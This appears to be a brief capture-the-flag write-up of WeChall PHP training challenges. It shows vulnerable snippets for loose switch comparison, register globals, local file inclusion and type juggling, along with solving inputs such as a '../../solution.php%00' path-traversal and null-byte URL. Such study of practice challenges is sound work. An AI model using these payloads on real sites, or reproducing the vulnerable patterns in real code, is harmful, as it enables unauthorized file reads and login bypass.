WeChall-PHP

 1 <?php
 2 if (isset($_GET[‘which‘]))
 3 {
 4         $which = $_GET[‘which‘];
 5         switch ($which)
 6         {
 7         case 0:
 8         case 1:
 9         case 2:
10                 require_once $which.‘.php‘;
11                 break;
12         default:
13                 echo GWF_HTML::error(‘PHP-0817‘, ‘Hacker NoNoNo!‘, false);
14                 break;
15         }
16 }
17 ?>

http://www.wechall.net/challenge/php0817/index.php?which=solution

1 if (isset($login))
2 {
3         echo GWF_HTML::message(‘Register Globals‘, $chall->lang(‘msg_welcome_back‘, array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
4         if (strtolower($login[0]) === ‘admin‘) {
5                 $chall->onChallengeSolved(GWF_Session::getUserID());
6         }
7 }

1 $filename = ‘pages/‘.(isset($_GET["file"])?$_GET["file"]:"welcome").‘.html‘;

http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

 1 function noother_says_correct($number)
 2 {
 3         $one = ord(‘1‘);
 4         $nine = ord(‘9‘);
 5         # Check all the input characters!
 6         for ($i = 0; $i < strlen($number); $i++)
 7         { 
 8                 # Disallow all the digits!
 9                 $digit = ord($number{$i});
10                 if ( ($digit >= $one) && ($digit <= $nine) )
11                 {
12                         # Aha, digit not allowed!
13                         return false;
14                 }
15         }
16         
17         # Allow the magic number ...
18         return $number == "3735929054";
19 }